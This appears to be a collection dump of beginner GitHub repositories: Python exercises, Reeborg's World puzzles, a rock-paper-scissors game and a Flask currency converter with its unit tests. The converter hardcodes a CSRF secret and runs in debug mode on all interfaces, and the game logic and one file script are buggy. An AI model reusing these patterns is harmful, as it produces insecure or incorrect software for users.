Post(models.Model):\n title = models.CharField(max_length=200)\n # desc = models.TextField()\n desc = RichTextField(null=True, blank=True)\n author = models.CharField(max_length=20)\n title_tag = models.CharField(max_length=200, null=True, blank=True)\n post_image = models.ImageField(null=True, blank=True, upload_to=\"images/\")\n post_date = models.DateTimeField(auto_now_add=True, blank=True)\n slug = models.SlugField(max_length=130, null=True, blank=True)\n\n def __str__(self):\n return self.title + 'by' + self.author\n\ndef slug_generator(sender, instance, *args, **kwargs):\n if not instance.slug:\n instance.slug = unique_slug_generator(instance)\n\n\npre_save.connect(slug_generator, sender=Post)\n\n\nclass Contact(models.Model):\n sno = models.AutoField(primary_key=True)\n name = models.CharField(max_length=255)\n phone = models.CharField(max_length=20)\n email = models.CharField(max_length=100)\n message = models.TextField()\n timeStamp = models.DateTimeField(auto_now_add=True, blank=True)\n\n def __str__(self):\n return 'Message from '+ self.name+'-'+ self.email\n\nclass Key(models.Model):\n ID = models.ForeignKey(Post, on_delete=models.CASCADE)\n\n" } ]
6
janimanthan80/Rock-Paper-Scissors
https://github.com/janimanthan80/Rock-Paper-Scissors
b2ac3788d6895418ecb0183e0ca1f424286b7fec
d7277d4b07af32bd963379824fd0078bc93a9c6d
e740d552dd86b1d6c06da785820f26823b9a4c02
refs/heads/master
2021-07-07T22:49:47.267110
2020-08-14T08:30:39
2020-08-14T08:30:39
173,971,694
2
0
null
null
null
null
null
[ { "alpha_fraction": 0.787401556968689, "alphanum_fraction": 0.787401556968689, "avg_line_length": 41.33333206176758, "blob_id": "62a6e420e441e5a10213c5423aa304dc0a25dd21", "content_id": "5239f79810d4736c1c8c0f5385ad3b716b98d73d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 127, "license_type": "no_license", "max_line_length": 114, "num_lines": 3, "path": "/README.md", "repo_name": "janimanthan80/Rock-Paper-Scissors", "src_encoding": "UTF-8", "text": "Run the ROCKPAPERSCISSORS.py file and enter the value(Rock, Paper, Scissors) which you prefer and enjoy this game.\n\nThank you.\n" }, { "alpha_fraction": 0.4375947415828705, "alphanum_fraction": 0.45730167627334595, "avg_line_length": 26.27142906188965, "blob_id": "e54df8fb2a09849e06a9307681adca467888e06a", "content_id": "780ed64779bdbd79be012b51ac3aed654ae9678e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1979, "license_type": "no_license", "max_line_length": 85, "num_lines": 70, "path": "/ROCKPAPERSCISSOR.py", "repo_name": "janimanthan80/Rock-Paper-Scissors", "src_encoding": "UTF-8", "text": "import sys\r\n\r\nuser1 = input(\"Enter Your Name : \")\r\nuser2 = input(\"And Your Name? : \")\r\nuser3 = input(\"And Who Are You? : \")\r\nuser1_answer = input(\"%s,what do you want to choose rock,paper,or scissor? : \"%user1)\r\nuser2_answer = input(\"%s,What Do You want to choose rock,paper,or scissor? : \"%user2)\r\nuser3_answer = input(\"%s,What Do You want to choose rock,paper,or scissor? : \"%user3)\r\n\r\ndef compare(u1,u2,u3):\r\n if u1 == u2:\r\n return (\"Match Is Tie!!\")\r\n elif u1 == \"rock\":\r\n if u2 == \"paper\":\r\n return (\"scissor win!!\")\r\n else:\r\n return (\"paper win!!\")\r\n elif u1 == \"paper\":\r\n if u2 == \"scissor\":\r\n return (\"scissor win!!\")\r\n else:\r\n return (\"rock win!\")\r\n elif u1 == \"scissor\":\r\n if u2 == \"rock\":\r\n return (\"paper win!!\")\r\n else:\r\n return (\"scissor win!!\")\r\n\r\n if u2 == u3:\r\n return (\"Match Is Tie!!\")\r\n elif u2 == \"paper\":\r\n if u3 == \"scissor\":\r\n return (\"rock win!!\")\r\n else:\r\n return (\"scissor win!!\")\r\n elif u2 == \"scissor\":\r\n if u3 == \"rock\":\r\n return (\"rock win!!\")\r\n else:\r\n return (\"paper win!\")\r\n elif u2 == \"rock\":\r\n if u3 == \"paper\":\r\n return (\"paper win!!\")\r\n else:\r\n return (\"scissor win!!\")\r\n\r\n if u1 == u3:\r\n return (\"Match Is Tie!!\")\r\n elif u1 == \"scissor\":\r\n if u3 == \"paper\":\r\n return (\"scissor win!!\")\r\n else:\r\n return (\"rock win!!\")\r\n elif u1 == \"rock\":\r\n if u3 == \"scissor\":\r\n return (\"rock win!!\")\r\n else:\r\n return (\"paper win!\")\r\n elif u1 == \"paper\":\r\n if u3 == \"rock\":\r\n return (\"paper win!!\")\r\n else:\r\n return (\"scissor win!!\")\r\n\r\n\r\n else:\r\n return (\"Invalid Input!!\\ntry Agin!!\")\r\n sys.exit()\r\n\r\nprint(compare(user1_answer,user2_answer,user3_answer))\r\n" } ]
2
mikhaildev07/startTut
https://github.com/mikhaildev07/startTut
03baa014793790ed17213a185571a0586766c3d7
b3865b000a32a8d70d0d964f7e121d4e025b35c2
ac2046a84ab45f949ac8316c0286d1a0033d8b26
refs/heads/master
2020-04-27T23:56:03.740000
2019-03-10T11:42:03
2019-03-10T11:42:03
174,797,196
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6240208745002747, "alphanum_fraction": 0.6396867036819458, "avg_line_length": 20.22222137451172, "blob_id": "fcd9a65e5e1d1c7f1b28f6b8019d953b9e3b86bd", "content_id": "f59c4d8f4cf10d3537082880ef7ea3229226cd22", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 383, "license_type": "no_license", "max_line_length": 55, "num_lines": 18, "path": "/py.py", "repo_name": "mikhaildev07/startTut", "src_encoding": "UTF-8", "text": "input_file = '../any_text.txt'\noutput_file = '../names_from_file.txt'\n\nmyfile1 = open(input_file, mode='r', encoding='ascii')\nmyfile2 = open(output_file, mode='w', encoding='ascii')\n\n# print(myfile.read())\n\nname = 'Sasha'\n\nfor num, i in enumerate(myfile1):\n\tif name in i:\n\t print(num, i.strip())\n\t myfile2.write('From file: ' + str(num) + i)\n\n\nmifile1.close()\nmifile2.close()\n\n" }, { "alpha_fraction": 0.6363636255264282, "alphanum_fraction": 0.6477272510528564, "avg_line_length": 28, "blob_id": "a69783d7c201528338428d7bc0be55724445af24", "content_id": "f4cd4bdeb56433a6714a22811fa1afcad75dbfe7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 88, "license_type": "no_license", "max_line_length": 49, "num_lines": 3, "path": "/py2.py", "repo_name": "mikhaildev07/startTut", "src_encoding": "UTF-8", "text": "file = open('../any_text2.txt', encoding='ascii')\n# line = file.readline()\nprint(file)\n\n" } ]
2
mvgame74/100_Days_Of_Python
https://github.com/mvgame74/100_Days_Of_Python
7b4a2dc6d58fd2b853c149f6a4a95a2f55eb6a48
ffedfa5719d46f5d4e95864c11d056e09e55289b
6b9be00eab183204f90a50234bc25a225bdb681f
refs/heads/main
2023-09-03T23:08:49.304369
2021-11-08T20:29:13
2021-11-08T20:29:13
413,900,951
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6160337328910828, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 20.636363983154297, "blob_id": "ca4ef815a8dd4fade33d6953b5fa086a3aeed597", "content_id": "23883c2e34acb2f573a07d03f51dda454accfeac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 240, "license_type": "no_license", "max_line_length": 33, "num_lines": 11, "path": "/Day-5-3.-Exercise-Added-Even-numbers.py", "repo_name": "mvgame74/100_Days_Of_Python", "src_encoding": "UTF-8", "text": "#Write your code below this row 👇\neven_numbers_added = 0\nfor number in range (1, 101):\n if number % 2 == 0:\n even_numbers_added += number\n\nprint(even_numbers_added)\n\n#for number in range (1, 101, 2):\n# even_numbers_added += number\n#" }, { "alpha_fraction": 0.7647058963775635, "alphanum_fraction": 0.8088235259056091, "avg_line_length": 33, "blob_id": "543f235c28fb7ead4c6ccdd51944bcac2b19ee40", "content_id": "595a596e794570dd8a85f024a47cffe0ad9b4514", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 68, "license_type": "no_license", "max_line_length": 46, "num_lines": 2, "path": "/README.md", "repo_name": "mvgame74/100_Days_Of_Python", "src_encoding": "UTF-8", "text": "# 100_Days_Of_Python\nCollection of little exercises to learn Python\n" }, { "alpha_fraction": 0.6265060305595398, "alphanum_fraction": 0.6265060305595398, "avg_line_length": 36.5, "blob_id": "34344d9052faa02348280d8076105f32a17f902d", "content_id": "32e79baa8ee6e67d4cdabe8dfd57ffaeaaf76618", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 86, "license_type": "no_license", "max_line_length": 39, "num_lines": 2, "path": "/Day_1_3_Exercise.py", "repo_name": "mvgame74/100_Days_Of_Python", "src_encoding": "UTF-8", "text": "#Write your code below this line 👇\nprint(len(input(\"What's your name? \")))\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.6115942001342773, "alphanum_fraction": 0.6173912882804871, "avg_line_length": 32.900001525878906, "blob_id": "1410df91756412dde223015f1155c949a802d2d7", "content_id": "88f42d4649157aa1a6d7c75f815d57aa4c00f0f8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 360, "license_type": "no_license", "max_line_length": 53, "num_lines": 10, "path": "/Day_2_1_Exercise.py", "repo_name": "mvgame74/100_Days_Of_Python", "src_encoding": "UTF-8", "text": "# 🚨 Don't change the code below 👇\ntwo_digit_number = input(\"Type a two digit number: \")\n# 🚨 Don't change the code above 👆\n\n####################################\n#Write your code below this line 👇\nfirst_number = str(two_digit_number[0])\nsecond_number = str(two_digit_number[1])\nresult = int(first_number) + int(second_number)\nprint(result)\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.33915725350379944, "alphanum_fraction": 0.34772181510925293, "avg_line_length": 61.12765884399414, "blob_id": "0f4dc1f8ac2ea8abbd86dad4ed7629a55637517d", "content_id": "8fa9bc4965674cd247195d7224f65c2806e20eb4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2919, "license_type": "no_license", "max_line_length": 219, "num_lines": 47, "path": "/Day_3_5_Exercise.py", "repo_name": "mvgame74/100_Days_Of_Python", "src_encoding": "UTF-8", "text": "print('''\n*******************************************************************************\n | | | |\n _________|________________.=\"\"_;=.______________|_____________________|_______\n| | ,-\"_,=\"\" `\"=.| |\n|___________________|__\"=._o`\"-._ `\"=.______________|___________________\n | `\"=._o`\"=._ _`\"=._ |\n _________|_____________________:=._o \"=._.\"_.-=\"'\"=.__________________|_______\n| | __.--\" , ; `\"=._o.\" ,-\"\"\"-._ \". |\n|___________________|_._\" ,. .` ` `` , `\"-._\"-._ \". '__|___________________\n | |o`\"=._` , \"` `; .\". , \"-._\"-._; ; |\n _________|___________| ;`-.o`\"=._; .\" ` '`.\"\\` . \"-._ /_______________|_______\n| | |o; `\"-.o`\"=._`` '` \" ,__.--o; |\n|___________________|_| ; (#) `-.o `\"=.`_.--\"_o.-; ;___|___________________\n____/______/______/___|o;._ \" `\".o|o_.--\" ;o;____/______/______/____\n/______/______/______/_\"=._o--._ ; | ; ; ;/______/______/______/_\n____/______/______/______/__\"=._o--._ ;o|o; _._;o;____/______/______/____\n/______/______/______/______/____\"=._o._; | ;_.--\"o.--\"_/______/______/______/_\n____/______/______/______/______/_____\"=.o|o_.--\"\"___/______/______/______/____\n/______/______/______/______/______/______/______/______/______/______/_____ /\n*******************************************************************************\n''')\nprint(\"Welcome to Treasure Island.\")\nprint(\"Your mission is to find the treasure.\") \n\nfirst_choice = input(\"You are walking down a path in a dark, sinister forest... you find a fork in the way... you go left or right? \")\nif first_choice.capitalize() == \"Left\":\n second_choice = input(\"You are going down the path until you reach a river... do you wait or swim? \")\n if second_choice.capitalize() == \"Wait\":\n third_choice = input(\"You arrive to an imposing building with three doors... which one would you chose: Red, Blue or Yellow? \")\n if third_choice.capitalize() == \"Yellow\":\n print(\"Congratulations, you found the treasure, married the princess and lived happily ever after!!!\")\n elif third_choice.capitalize() == \"Blue\":\n print(\"You become a soldier and die protecting the royal family. Game Over.\")\n elif third_choice.capitalize() == \"Red\":\n print(\"You become a servant and die cleaning the shit of the royal family. Game Over.\")\n else:\n print(\"Duh! That wasn't even a choice. Game Over.\")\n else:\n print(\"Wild piranhas attack and devour you. Game Over.\")\nelse:\n print(\"You are attacked by bandits. Game Over.\")\n\n \n\n\n#https://www.draw.io/?lightbox=1&highlight=0000ff&edit=_blank&layers=1&nav=1&title=Treasure%20Island%20Conditional.drawio#Uhttps%3A%2F%2Fdrive.google.com%2Fuc%3Fid%3D1oDe4ehjWZipYRsVfeAx2HyB7LCQ8_Fvi%26export%3Ddownload" }, { "alpha_fraction": 0.6180328130722046, "alphanum_fraction": 0.6475409865379333, "avg_line_length": 28.095237731933594, "blob_id": "14976870369d2a995e9ff0373a6c05942d6ecb2a", "content_id": "fc36ce9f5238e0bdeb406bfd0eb182534804b7c5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 625, "license_type": "no_license", "max_line_length": 137, "num_lines": 21, "path": "/Day_2_3_Exercise.py", "repo_name": "mvgame74/100_Days_Of_Python", "src_encoding": "UTF-8", "text": "# 🚨 Don't change the code below 👇\nage = input(\"What is your current age? \")\n# 🚨 Don't change the code above 👆\n\n#Write your code below this line 👇\nmax_age = 90\n\nage_left = max_age - int(age)\n\ntotal_days_left = age_left * 365\ntotal_weeks_left = age_left * 52\ntotal_months_left = age_left * 12\n\nprint(\"You have \" + str(total_days_left) + \" days, \" + str(total_weeks_left) + \" weeks, and \" + str(total_months_left) + \" months left.\")\n\n#years = 90 - int(age)\n#months = round(years * 12)\n#weeks = round(years * 52)\n#days = round(years * 365)\n\n#print(f\"You have {days} days, {weeks} weeks, and {months} months left.\")" }, { "alpha_fraction": 0.45151615142822266, "alphanum_fraction": 0.4568477272987366, "avg_line_length": 14.800000190734863, "blob_id": "563e629564bd5b0be17012324d7def17f69d0d45", "content_id": "3d8a69c2c78b2027dfdd5d1ec71d1bffae268378", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3001, "license_type": "no_license", "max_line_length": 67, "num_lines": 190, "path": "/Day-6-Reeborgs_World.py", "repo_name": "mvgame74/100_Days_Of_Python", "src_encoding": "UTF-8", "text": "Code examples for https://reeborg.ca/reeborg.html\n\n\nHurdle 1\n\ndef turn_right():\n turn_left()\n turn_left()\n turn_left()\n \ndef jump():\n move()\n turn_left()\n move()\n turn_right()\n move()\n turn_right()\n move()\n turn_left()\n\nfor step in range(6):\n jump()\n\nOR\n\nnumber_of_hurdles = 6\nwhile number_of_hurdles > 0:\n jump()\n number_of_hurdles -=1\n\n*******************************************************************\n\nHURDLE 2\n\ndef turn_right():\n turn_left()\n turn_left()\n turn_left()\n \ndef jump():\n move()\n turn_left()\n move()\n turn_right()\n move()\n turn_right()\n move()\n turn_left()\n\nwhile not at_goal():\n jump()\n\n*******************************************************************\n\nHURDLE 3\n\ndef turn_right():\n turn_left()\n turn_left()\n turn_left()\n \ndef jump():\n turn_left()\n move()\n turn_right()\n move()\n turn_right()\n move()\n turn_left()\n\nwhile not at_goal():\n if front_is_clear():\n move()\n if wall_in_front():\n jump()\n\nHURDLE 4A\ndef turn_right():\n turn_left()\n turn_left()\n turn_left()\n \ndef go_up():\n turn_left()\n move()\n turn_right()\n \ndef go_down():\n turn_right()\n move()\n turn_left()\n\nsquares_up = 0\nwhile not at_goal():\n if front_is_clear() and squares_up == 0:\n move()\n if front_is_clear() and squares_up > 0:\n move()\n while squares_up > 0:\n go_down()\n squares_up -= 1\n if wall_in_front():\n go_up()\n squares_up += 1\n\n\n*******************************************************************\n\n\nHURDLE 4B\n\ndef turn_right():\n turn_left()\n turn_left()\n turn_left()\n \ndef jump():\n turn_left()\n while wall_on_right():\n move()\n turn_right()\n move()\n turn_right()\n while front_is_clear():\n move()\n turn_left()\n\nwhile not at_goal():\n if wall_in_front():\n jump()\n else:\n move()\n\n*******************************************************************\n\nMAZE\n\ndef turn_right():\n turn_left()\n turn_left()\n turn_left()\n\nwhile not at_goal():\n if not wall_on_right():\n turn_right()\n move()\n elif wall_on_right() and front_is_clear():\n move()\n else:\n turn_left()\n\n*******************************************************************\n\nMAZE WITH EDGE CASES\n\ndef turn_right():\n turn_left()\n turn_left()\n turn_left()\n\nwhile not at_goal():\n if right_is_clear() and front_is_clear():\n move()\n elif right_is_clear():\n turn_right()\n move()\n elif wall_on_right() and front_is_clear():\n move()\n else:\n turn_left()\n\nMAZE AFTER DEBUGGING 2\n\ndef turn_right():\n turn_left()\n turn_left()\n turn_left()\n\nwhile front_is_clear():\n move()\nturn_left()\n \nwhile not at_goal():\n if right_is_clear():\n turn_right()\n move()\n elif wall_on_right() and front_is_clear():\n move()\n else:\n turn_left()" }, { "alpha_fraction": 0.4717636704444885, "alphanum_fraction": 0.4865334630012512, "avg_line_length": 19.535715103149414, "blob_id": "ac7237d142798f536cd8eabde8bb73c3116307be", "content_id": "3e3b0c44c27457eb8b59f0dc1708f0f71bf52e86", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1151, "license_type": "no_license", "max_line_length": 149, "num_lines": 56, "path": "/Day_4_4_Rock_Paper_Scissors.py", "repo_name": "mvgame74/100_Days_Of_Python", "src_encoding": "UTF-8", "text": "import random\n\nrock = '''\n _______\n---' ____)\n (_____)\n (_____)\n (____)\n---.__(___)\n'''\n\npaper = '''\n _______\n---' ____)____\n ______)\n _______)\n _______)\n---.__________)\n'''\n\nscissors = '''\n _______\n---' ____)____\n ______)\n __________)\n (____)\n---.__(___)\n'''\n\nprint(\"What do you chose?\")\nplayer_choice = input(\"Type 0 for Rock, 1 for Paper and 2 for Scissors \")\n\nif player_choice == \"0\":\n print(f\"You chose: \\n{rock}\")\nelif player_choice == \"1\":\n print(f\"You chose: \\n{paper}\")\nelif player_choice == \"2\":\n print(f\"You chose: \\n{scissors}\")\nelse:\n print(\"This option does not exist\")\n\nrandom_choice = random.randint(0,2)\n\nif random_choice == 0:\n print(f\"Computer chose: \\n{rock}\")\nelif random_choice == 1:\n print(f\"Computer chose: \\n{paper}\")\nelif random_choice == 2:\n print(f\"Computer chose: \\n{scissors}\")\n\nif player_choice == str(random_choice):\n print(\"It's a draw\")\nelif (player_choice == \"0\" and random_choice == 2) or (player_choice == \"1\" and random_choice == 0) or (player_choice == \"2\" and random_choice == 1):\n print(\"You win\")\nelse:\n print(\"You lose\")\n\n" }, { "alpha_fraction": 0.6601423621177673, "alphanum_fraction": 0.663701057434082, "avg_line_length": 24.31818199157715, "blob_id": "9d4648b1ab58b84c03212ac6463027fb52e8cda4", "content_id": "21c6eb868238d381508b7a93716dc4437b536c1b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 577, "license_type": "no_license", "max_line_length": 58, "num_lines": 22, "path": "/Day_2_2_Exercise.py", "repo_name": "mvgame74/100_Days_Of_Python", "src_encoding": "UTF-8", "text": "# 🚨 Don't change the code below 👇\nheight = input(\"enter your height in m: \")\nweight = input(\"enter your weight in kg: \")\n# 🚨 Don't change the code above 👆\n\n#Write your code below this line 👇\nbmi = float(weight) / float(height) ** 2\n\nprint(\"your BMI is \" + str(int(bmi)))\n\n#OR:\n#weight_as_int = int(weight)\n#height_as_float = float(height)\n\n# Using the exponent operator **\n#bmi = weight_as_int / height_as_float ** 2\n# or using multiplication and PEMDAS\n#bmi = weight_as_int / (height_as_float * height_as_float)\n\n#bmi_as_int = int(bmi)\n\n#print(bmi_as_int)\n\n\n\n\n\n" } ]
9
MotazBellah/currency-converter-exchangeratesAPI
https://github.com/MotazBellah/currency-converter-exchangeratesAPI
8d4a3776820d758943c30b742e12e4ec3825ae3d
d01299d61f51e591598488f086fc07e8ce1749b4
2b423ff3a79b12ea9033a5642022a9980a994482
refs/heads/master
2022-07-29T22:09:40.287933
2019-10-16T14:54:42
2019-10-16T14:54:42
215,344,512
0
0
null
2019-10-15T16:21:52
2019-10-16T14:54:47
2022-07-06T20:18:44
Python
[ { "alpha_fraction": 0.6122766137123108, "alphanum_fraction": 0.617327094078064, "avg_line_length": 31.174999237060547, "blob_id": "16a763e2fddafc43ce5b28803b8f4a22b697022b", "content_id": "7243837194dcead38559a43ee5bc6463ff905ae0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2574, "license_type": "no_license", "max_line_length": 93, "num_lines": 80, "path": "/app.py", "repo_name": "MotazBellah/currency-converter-exchangeratesAPI", "src_encoding": "UTF-8", "text": "import os\nimport datetime\nfrom flask import Flask, render_template, request, redirect, url_for, jsonify\nimport httplib2\nimport json\nfrom wtform_fields import *\n\n\napp = Flask(__name__)\napp.secret_key = os.urandom(12).hex()\n# set secret key to cross site requset forgery\n# to generate a token when WTF submitted\napp.config['WTF_CSRF_SECRET_KEY'] = \"b'f\\xfa\\x8b{X\\x8b\\x9eM\\x83l\\x19\\xad\\x84\\x08\\xaa\"\n\n# Main route display the form with get requset\n# redirect to convert route with post request\[email protected]('/', methods=['GET', 'POST'])\ndef index():\n # get Currency Convert Form from WTF\n conv_form = CurrencyCovert()\n # convert if the validation success\n if conv_form.validate_on_submit():\n # Get the data from the form field\n src_currency = conv_form.src_currency.data\n dest_currency = conv_form.dest_currency.data\n amount = conv_form.amount.data\n date = conv_form.date.data\n # redirect to convert route\n # Pass the form's data as a parameter to convert route\n return redirect(url_for('convert',\n src_currency=src_currency,\n dest_currency=dest_currency,\n amount=amount,\n date=date))\n\n return render_template('index.html', form=conv_form)\n\n\n# Get the data from the URL\n# Accept only get request\[email protected]('/convert', methods=['GET'])\ndef convert():\n src = request.args.get('src_currency').upper()\n dest = request.args.get('dest_currency').upper()\n amount = float(request.args.get('amount'))\n date = request.args.get('date')\n\n # Declare the data dict\n data = {}\n if src == dest:\n data['amount'] = amount\n data['currency'] = dest\n return jsonify(data)\n\n # Make sure the date in the format YYYY-MM-DD\n # else return empty JSON\n try:\n time = datetime.datetime.strptime(date, '%Y-%m-%d')\n except ValueError:\n return jsonify(data)\n else:\n url = \"https://api.exchangeratesapi.io/{}?base={}&symbols={}\".format(date, src, dest)\n\n # use HTTP client library, to be able to send GET request\n h = httplib2.Http()\n # convert the JSON format to python dictionary\n result = json.loads(h.request(url, 'GET')[1])\n # parse the result and get the rate value\n if 'rates' in result:\n rate = result['rates'][dest]\n data['amount'] = amount * rate\n data['currency'] = dest\n\n return jsonify(data)\n\n\nif __name__ == '__main__':\n PORT = int(os.environ.get('PORT', 3000))\n app.debug = True\n app.run(host='0.0.0.0', port=PORT)\n" }, { "alpha_fraction": 0.4845070540904999, "alphanum_fraction": 0.6957746744155884, "avg_line_length": 15.904762268066406, "blob_id": "fae44c682734bd00ce9aed2c70c7a17c49f634ee", "content_id": "6a3dfb3a65deea6300842d92c363ad16bddfcebd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 355, "license_type": "no_license", "max_line_length": 24, "num_lines": 21, "path": "/requirements.txt", "repo_name": "MotazBellah/currency-converter-exchangeratesAPI", "src_encoding": "UTF-8", "text": "beautifulsoup4==4.6.3\nClick==7.0\nFlask==1.0.2\nFlask-SocketIO==3.3.2\nhtml5lib==1.0.1\nhttplib2==0.12.0\ngevent==1.4.0\ngevent-websocket==0.10.1\ngreenlet==0.4.15\ngunicorn==19.9.0\nJinja2>=2.10.1\nMarkupSafe==1.1.1\npasslib==1.7.1\npython-engineio==3.5.1\npython-socketio==3.1.2\nredis==2.10.6\nrequests==2.19.1\nsix==1.12.0\nlxml==4.4.1\nWerkzeug==0.14.1\nWTForms==2.2.1\n" }, { "alpha_fraction": 0.5070000290870667, "alphanum_fraction": 0.5070000290870667, "avg_line_length": 42.4782600402832, "blob_id": "30b866ff1460d3906df2f9dceb114bad71ab315a", "content_id": "281dc307bcc6c00cb596c4388e6bf78d06e87f23", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2000, "license_type": "no_license", "max_line_length": 88, "num_lines": 46, "path": "/wtform_fields.py", "repo_name": "MotazBellah/currency-converter-exchangeratesAPI", "src_encoding": "UTF-8", "text": "from flask_wtf import FlaskForm\nfrom wtforms import StringField, FloatField, SelectField\nfrom wtforms.validators import InputRequired, Length, ValidationError\nimport datetime\n\nCURRENCY_TYPE = [(\"EUR\", \"EUR\"), (\"USD\", \"USD\"), (\"JPY\", \"JPY\"),\n (\"BGN\", \"BGN\"), (\"CZK\", \"CZK\"), (\"GBP\", \"GBP\"),\n (\"HUF\", \"HUF\"), (\"PLN\", \"PLN\"), (\"RON\", \"RON\"),\n (\"SEK\", \"SEK\"), (\"CHF\", \"CHF\"), (\"ISK\", \"ISK\"),\n (\"NOK\", \"NOK\"), (\"HRK\", \"HRK\"), (\"RUB\", \"RUB\"),\n (\"TRY\", \"TRY\"), (\"AUD\", \"AUD\"), (\"BRL\", \"BRL\"),\n (\"CAD\", \"CAD\"), (\"CNY\", \"CNY\"), (\"HKD\", \"HKD\"),\n (\"IDR\", \"IDR\"), (\"ILS\", \"ILS\"), (\"INR\", \"INR\"),\n (\"KRW\", \"KRW\"), (\"MXN\", \"MXN\"), (\"MYR\", \"MYR\"),\n (\"NZD\", \"NZD\"), (\"PHP\", \"PHP\"), (\"SGD\", \"SGD\"),\n (\"THB\", \"THB\"), (\"ZAR\", \"ZAR\"), (\"DKK\", \"DKK\")]\n\n\n# custom validator for the form,\n# to check if date has a valid format and exsit in DB\ndef date_validate(form, field):\n date_text = field.data\n # Make sure the date has a correct format\n try:\n time = datetime.datetime.strptime(date_text, '%Y-%m-%d')\n except ValueError:\n raise ValidationError(\"Incorrect date format, should be YYYY-MM-DD\")\n\n\nclass CurrencyCovert(FlaskForm):\n \"\"\"CurrencyCovert form\"\"\"\n\n src_currency = SelectField('source currency',\n choices=CURRENCY_TYPE,\n validators=[InputRequired(message=\"currency required\")])\n\n dest_currency = SelectField('destination currency',\n choices=CURRENCY_TYPE,\n validators=[InputRequired(message=\"currency required\")])\n\n amount = FloatField('amount',\n validators=[InputRequired(message=\"amount required\")])\n\n date = StringField('reference date',\n validators=[InputRequired(message=\"Date required\"),\n date_validate])\n" }, { "alpha_fraction": 0.5447996258735657, "alphanum_fraction": 0.5790184736251831, "avg_line_length": 36.64406967163086, "blob_id": "478c52d1a38e0757dcaf09014264143c52359788", "content_id": "79944bec9f8a5a230a0a3f356c33c3c7a4d0ac46", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4442, "license_type": "no_license", "max_line_length": 115, "num_lines": 118, "path": "/convert_test.py", "repo_name": "MotazBellah/currency-converter-exchangeratesAPI", "src_encoding": "UTF-8", "text": "from flask import current_app\nfrom app import app\nimport unittest\nimport json\n\nclass AppTestCase(unittest.TestCase):\n # executed prior to each test\n def setUp(self):\n self.app = app\n app.config['TESTING'] = True\n self.app.config['WTF_CSRF_ENABLED'] = False\n self.app_context = self.app.app_context()\n self.app_context.push()\n self.client = self.app.test_client()\n\n # executed after each test\n def tearDown(self):\n self.app_context.pop()\n\n def test_app_exists(self):\n \"\"\"Test if the app exists \"\"\"\n self.assertFalse(current_app is None)\n\n def test_home_page(self):\n \"\"\"Test the home page\"\"\"\n response = self.client.get('/')\n self.assertEqual(response.status_code, 200)\n\n # test the convert action\n def test_convert(self):\n # 1st index is the src then dest then amount then date\n url_data = ['EUR', 'EUR', 10, '2019-10-11']\n response = self.client.get(\"/convert?src_currency={}&dest_currency={}&amount={}&date={}\".format(*url_data))\n data = json.loads(response.get_data(as_text=True))\n\n self.assertEqual(response.status_code, 200)\n self.assertEqual(bool(data), True)\n self.assertEqual(data['currency'], \"EUR\")\n self.assertEqual(data['amount'], 10)\n #\n def test_convert_date(self):\n url_data = ['EUR', 'JPY', 80, '2018-10-11']\n response = self.client.get(\"/convert?src_currency={}&dest_currency={}&amount={}&date={}\".format(*url_data))\n data = json.loads(response.get_data(as_text=True))\n #\n self.assertEqual(response.status_code, 200)\n self.assertEqual(bool(data), True)\n self.assertEqual(data['currency'], \"JPY\")\n self.assertEqual(data['amount'], 10400.0)\n\n def test_convert_curr(self):\n url_data = ['AUD', 'RON', 1, '2019-09-17']\n response = self.client.get(\"/convert?src_currency={}&dest_currency={}&amount={}&date={}\".format(*url_data))\n data = json.loads(response.get_data(as_text=True))\n\n self.assertEqual(response.status_code, 200)\n # self.assertEqual(bool(data), True)\n self.assertEqual(data['currency'], \"RON\")\n self.assertEqual(data['amount'], 2.9363602531)\n #\n def test_convert_curr2(self):\n url_data = ['BGN', 'NOK', 1, '2019-09-17']\n response = self.client.get(\"/convert?src_currency={}&dest_currency={}&amount={}&date={}\".format(*url_data))\n data = json.loads(response.get_data(as_text=True))\n\n self.assertEqual(response.status_code, 200)\n self.assertEqual(bool(data), True)\n self.assertEqual(data['currency'], \"NOK\")\n self.assertEqual(data['amount'], 5.0472952245)\n #\n def test_convert_curr3(self):\n url_data = ['BGN', 'NOK', 894368950, '2019-09-17']\n response = self.client.get(\"/convert?src_currency={}&dest_currency={}&amount={}&date={}\".format(*url_data))\n data = json.loads(response.get_data(as_text=True))\n\n self.assertEqual(response.status_code, 200)\n self.assertEqual(bool(data), True)\n self.assertEqual(data['currency'], \"NOK\")\n self.assertEqual(data['amount'], 4514144130.276079)\n #\n def test_covert_form(self):\n response = self.client.post(\n '/', data={\n 'src_currency': 'EUR',\n 'dest_currency': 'EUR',\n 'amount': 10,\n 'date': '2019-10-11'\n }, follow_redirects=True)\n\n data = json.loads(response.get_data(as_text=True))\n self.assertEqual(bool(data), True)\n self.assertEqual(data['currency'], \"EUR\")\n self.assertEqual(data['amount'], 10)\n #\n def test_covert_date_format(self):\n response = self.client.post(\n '/', data={\n 'src_currency': 'EUR',\n 'dest_currency': 'USD',\n 'amount': 89,\n 'date': 